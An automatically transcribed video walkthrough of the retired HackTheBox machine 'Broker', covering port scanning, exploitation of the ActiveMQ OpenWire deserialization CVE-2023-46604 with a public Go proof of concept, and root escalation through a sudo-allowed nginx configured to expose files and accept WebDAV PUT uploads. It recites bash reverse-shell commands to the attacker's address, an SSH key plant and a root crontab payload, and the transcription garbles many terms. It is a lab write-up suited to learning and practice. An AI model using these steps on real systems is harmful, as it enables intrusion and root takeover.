text: what's going on YouTube this is ipack I'm doing broker from hack the box which is going straight to retired which is awesome because that means we can talk about this box right away and the foole of the box was in the news a lot lately because it is the Apache active mq exploit um the cve was published on October 27th 2023 and it's an unated exploit against active mq but Huntress Labs has discovered exploitation as early as October 10th so this is something that was being exploited in the wild and if don't know what active mq is it's just a message broker similar to rabbit mq or Kafka so it gets bundled with a lot of software and while some instance we're listening on the Internet it's also very common to find on internal networks I still exploit cve 2016 from active mq from time to time so it's going to be

title: HackTheBox - Broker


text: around for a long time on the inside of a network once you exploit this vulnerability you'd have the ability to run engine X as pseudo or as root and you can make a malicious config and get Cod execution that way so with that being said let's just jump in as always we're going to start off with an N map so- SCC for default scripts SV enumerate versions OA output all formats put the end map directory and call it broker then the IP address of 1010 11243 this can take some time to run so I've already ran it looking at the results we have just two ports open the first one being SSH on Port 22 and it's B tells us it's an auntu server we also have HTTP listening on Port 80 it is engine X also running on Ubuntu and we have the server asking us for activ uh authorization and it says it's part of the active mq realm so I'm guessing

title: HackTheBox - Broker


text: active mq is installed on this box let's go to 1010 11243 and we get the login prompt we can try default credentials like admin admin and surprisingly we get in we don't actually need these credentials uh because there is a newer exploit of active mcube my very first thought was going to an old exploit of active mq which is from like 2016 it was part of the file server exploit of active mq and it's in metas sploit it's the best way to run it so I'll do pseudo msf DB run and that's going to start up metas sploit and I think the newest active mq exploit is also in mesit I just haven't updated this in a while and we'll be doing it um with probably a goang or python script instead of using metas sploit um not sure exactly why I decided to do that but that's the route we're going so we'll do a search for active mq

title: HackTheBox - Broker


text: and we see we have one exploit so we'll use use zero to go to this and this is the one I was talking about before so it's going to exploit the uh file upload service or file server manager I think what it's called so let's do um set lhost to ton zero uh let's do think it's our host yep we have to set our host and you can see the default credentials here is admin admin we can set our host to 101 11243 click run and it's going to try to upload the file and fails so how this exploit works is um the file server of active mq had a me uh a dab server that allowed you to put files onto it and it only lets you put files into the directory that of the file server but you can also issue a move command and move them outside of the file server put like a JSP file in the rout and then go to the JSP and execute it kind of like

title: HackTheBox - Broker


text: PHP exploits right you just put the PHP file on and be able to exploit it uh we could try setting rport 280 but that's not really going to get us anything either but the one thing is this box was listening on 8161 uh we just didn't see it an end map and that's because we only scanned the top 1,000 ports so let's do a full end map scan so I'm going to do pseudo end m- p- to do all ports I'm going to say-- Min D rate equals 10,000 and I normally don't like running it this fast because it can miss things but it's generally reliable on hack the box I'm also going to do- OG for output Gable and then 10 10 11243 and we also have to say um broker all ports so we gave it a file name for the Gable format so this is only going to take probably about 10 seconds and then going to go through the ports that come back

title: HackTheBox - Broker


text: and do a second end map scan with the scripts the reason why I don't add the scripts here is it will make the scan takes so much longer it's much quicker just do it this way so let's do a g- op because this is going to be overpowered and then I'm going to say I want digits and anything that ends in slop I probably should show you the um outport first so if we just look at broker all ports this is how it is so we're just doing a grip to look for this right there's probably going to be some that may say like slash closed so that's why I add the SL open to this and then I don't know let's see is it because I put the open in I'm not exactly sure why GP is showing me everything there's probably a better syntax to do but I just don't remember the flags because I can remember op so I'm just going to pipe

title: HackTheBox - Broker


text: that over to a and we'll do- f for field separator on slash print the first one and now we just have a list of ports so the next thing we want to do is remove the line break so I'll use the TR command say line break separate that with uh replace that with a comma and now we have a list of just the ports so we can do a pseudo n m-c for default scripts SV en numerate version O A output all formats put the end map directory and call it broker and then the- P for ports paste in ports and the IP address of 101 11243 so this can take some time to run so while it runs let's just go and search for active mq exploit and see what we have so there is a new one cve 2023 46604 and I'm trying to find the best post I liked it was on attacker KB I think but all these will get you to uh a good spot here we

title: HackTheBox - Broker


text: go this one just has some light analysis and is this not the post I was thinking of description see technical analysis this is not the post I was thinking of let's see maybe we just say the cve this is the downside with doing video sometimes Google doesn't return what you think it will site attacker kb.com that cve is this going to be it okay so I'm going to pause the video so I can get to the exact post I wanted to see okay I found it so all I did was search straight for the cve and then when we scroll down there's going to be a Reddit posting right here and this came out 7 days ago right around the time the expo came out and it was first being weaponized by a ransomware group I want to say like hello kid right um but there is a attacker KB article here and if we go to it we have some technical analysis maybe

title: HackTheBox - Broker


text: yeah this definitely is not the blog post we saw before um and they have a lot of good links here to read if you want to read more about it there is a PO here we're not exactly going to use this one we're going to use one that's a little bit easier to use um so we'll search Google right after this article but it's talking about it and they found 7,200 instances of active mq listening on the internet with about half of them vulnerable to the cve now if you don't know what active mq it's a message broker so think of it like rabbit mq or Kafka um and it's very popular with Java applications because well active mq is written in Java so it talks a lot about how to get this exploited I think it's a deiz exploit and the most common way to exploit it is going to be down here where they're saying um let's see so right here we're

title: HackTheBox - Broker


text: sending a packet to active mq open wire which is 61616 and we'll have to make sure that port is open we get send it with the exception response and eventually that lets us change um what is getting loaded right and I think that's where at the top it said uh the patch make sure let's see yeah the patch will make sure the um thing is created by the throwable object which I think is like an um exception Handler and Java I don't know exactly I really dis myself from java but anyways long way to say eventually we can reach the spring framework which active mq I think is built on or at least this open wire protocol call and then I think it's instantiating with a different config and then pointing the config at a URL which is going to be our box and that where we can say um run a command so knowing that let's make sure 61616 is

title: HackTheBox - Broker


text: open so let's go back to our end map that we reran and we're going to have a lot more information right so we have the mqtt I'm guessing this is a transport Port um amqp 8161 this is running Jetty 45 44509 61613 61614 and I think this last one was 61616 which is the open wire transport so this will allow us potentially to exploit it if it is vulnerable based upon logging into the box we saw it was a 2020 um copyright so chances are is vulnerable if it the cve came out in 2023 so I'm going to Google um active mq exploit GitHub and let's see if we can find one that has a read me and a language that we can actually understand so if we go to the top result looks like it is it builds upon I think this is the one we showed before and it's just going to use Metasploit to get a reverse shell so let's go ahead and clone this and we're

title: HackTheBox - Broker


text: going to take a look at the exploit see exactly how it works and see if we want to make any modifications because I really don't feel like making a um Metasploit reverse shell so I'm just going to do code dot to open this up in vs code and we'll go over what is here so main.go we're going to have a few Flags so this is going to be arguments we can run so I is going to be the active mq server the port it's going to default to 61616 and then spring XML URL this is going to be probably pointed back at our server and this doesn't exactly make sense I think this is just reaching the DC alization thing we're passing in the class this class is um going to get called with our message which is our arguments I believe so let's look at PC Linux and we see it's doing a Constructor a list we going to execute

title: HackTheBox - Broker


text: sh with- C and then it's just going to curl an elf and then execute it let's change this up let's do bash and since we're already going to be in a bash DC we don't have to prefix our Command with it so we can just try um let's see b-i Dev TCP 10 10 14 8 9,1 0 and 1 like that let me make sure I am that I P I am so this should get us a reverse shell so let's stand up our web server so we can say python 3- mhtp server and then we execute this so go in here we can say G run main.go and then we want to specify - I this is going to be 101 11243 - p 61616 d u we'll say http 10 10 11 or 10 10 148 P 8,000 and then it was like Linux PC or something p- linux.

title: HackTheBox - Broker


text: XML and let's stand up and see on Port 901 so we catch the shell when it comes and we sent the packet it hit our server but we did not get a shell let's see PC linux.

title: HackTheBox - Broker


text: XML b-c b-i Dev TCP I wonder if like it doesn't like um these redirectors we should also maybe entity encode this so I'm going to copy this and let's see does the deur have something thing to help us encode as I don't think so no I wonder if it'll work as hex we paste this let's see the PC Linux I don't think this will work but it's worth a shot it's a server nothing okay so let's see HTML entity in Code online b-i Dev TCP 10104 8 9,1 0 and one that is not what I was expecting I was like expecting a GT and less than let's try this no that's what I was expecting so this may be an hex that's interesting I did not know you could encode that way let's try them both delete all this value paste it in run this and there we go we get a shell so it would probably work either way I just did not know HTML any

title: HackTheBox - Broker


text: encoding also could look like this I think it's just and pound X and then hex but I normally I'm used to seeing it like this but now that we have a shell let's get a proper PT y so Python 3 uh- Z import PTY PTY spawn bin bash then stty raw minus Echo foreground and then export term is equal to X term and now we can clear the screen so we are the active mq user we can check if we can run pseudo and it looks like we can run pseudo as root and execute the engine X binary which will essentially be a web server right if we go to Etsy engine X we can C default. or engine x.com and this is going to be a example configuration that we'll use I'm just going to grab out every comment and then let's show only lines so this is a engine X config it's going to do user dubdub duub data and then we have HTTP and it's going to eventually load

title: HackTheBox - Broker


text: things out of um let's see I guess one of the modules loads things out of SES enabled oh no here it is sit's enabled so what we can do is just change this user to root so with the pseudo AIS on this we can just um modify this so I'm going to copy engine X to Dev shm we can go in there and then let's V engine X and comp I probably should redo that grap to n let's move n to engine x.m now we view it we have no comments so let's change dubd data to root uh we don't need the pit I guess I can change the pit to engine X2 I think that's just to um prevent engine X from running twice right we have 76 8 workers that's fine I don't know exactly what send file is let's see think we can delete most of this access log error log let's not have logs and we could include we'll do Dev shm or let's see cat Etsy engine X sites

title: HackTheBox - Broker


text: enable default yeah we can just copy this okay so instead of proxy pass we don't want to forward it there let's just do root slash so this should stand up a web server on let's do 1337 I don't think we need a server name that's for like virtual host routing so uh we definitely probably don't need that let's say engine x-t to test our config um I thought it was- T Test configuration and exit we have to give it a full path that is bizarre pseudo engine X on the config is it- C server directive is not allowed here line eight so I think server goes in HTTP 13 it's not expecting that forgot a semicolon there we go so now we have engine X running we put it on Port 337 so if I do a curl Local Host 1337 we have forbidden that is not what I expected what did we screw up users root okay we're still listening on it let's

title: HackTheBox - Broker


text: look at a config oh I forgot the auto index I deleted that so if I curl Local Host 1337 we get or forbidden because we're telling it or we didn't tell engine X to create a index file for us right but if we did ety pass WD it also works if we specify the file is what I should say so if we do SL root root.

title: HackTheBox - Broker


text: text we can get the root flag but we want to get a shell on this box right so let's first um let's see we can fix the auto index thing so I can show you so let's do auto index on there we go we'll probably have to change the port and then we can do pseudo engine x-c uh specify the full path forgot the semicolon there we go so now if I curl Local Host 1338 we have this now how can we get a um shell in the Box well remember when I was talking about the 2016 exploit of active mq that just had a vulnerable uh webdb server what why don't we make this a vulnerable webdav server and use Curl to um put files right so we can do auto index on and then DAV methods and we can enable the put so that's going to enable the module I bet there's a webdav module and Etsy engine X modules enabled LS Etsy engine

title: HackTheBox - Broker


text: X modules enabled grap DAV I thought it was maybe it's just built into engine X uh we forgot to change the port anyways so let's change away from 1338 and use 9,1 because we can and my shell has died there we go I'm not sure exactly what happened let's view this and oh god um let's delete that line listen 90001 hopefully that worked uh let's see engine x-c that looks fine Coral Local Host 90001 awesome so now we can use um put so let's Google um corl part file and I think there's like a Das Das upload file Command right let's see yeah control-- upload file I don't think we have to specify put let's do uh let's try slash test let's make a file real quick um see I'm on the box itself let's not do uploaded file because we're on C wait 10 104 or 11243 91 okay so let's just put a file from our box so let's do

title: HackTheBox - Broker


text: sl- linux. XML and then do D- upload file P linux. XML and if we go to slash we can see the file does exist so we can just upload an SSH key at this point so let's do ssh-key gen um- F I'm going to call it broker and then we can say SL root. SSH SL authorized keys and give it the file broker.

title: HackTheBox - Broker


text: Pub and now s-i broker root at 10 10 11243 accept the key and we get into the box and that is pretty much it if you want to see exactly what this curl command looks like of course uh we could always send this to the proxy so let's see is it- capital x for a proxy let's try HTP Local Host 8080 are we listening uh maybe lowercase x there we go so all a put is is we put the put in the HTTP verb give it the file name and then where the data is we put the key right and let's say we didn't have that SSH directory um we could have probably enabled move made a directory on the box and moved it um there's probably a webdav method to create a directory but we could also just create Aon tab right so what I'm going to try is uh creating the KRON so let's do Kon 1 2 3 4 5 so that's what U minute hour day month

title: HackTheBox - Broker


text: day of week or something for exactly how KRON Works V etyon tab because that will tell me uh minute hour day of month month day of week yep so mostly correct okay and then we can do bh- c b-i Dev TCP 10 10 14 8 9,10 and one like that and then let's upload the cron so first I'm going to listen on 90001 here again and we can the curl uploaded file and let's do cron we can specify verse spol is it cron tabs LS vers spool cron KRON tabs rout that should be it so we have created that do a date it's probably going to run in 50 seconds so let's do a sleep 430 and I'll resume the video when the sleep is done the sleep is done so this is going to be the Moment of Truth we have about 5 seconds left 4 3 2 1 hopefully acon fires it does and we get a shell so that would be another way we could do it there's a lot of ways to get

title: HackTheBox - Broker


text: code execution once you have fil right on Linux but hope you guys enjoyed the video take care and I'll see you all next time

title: HackTheBox - Broker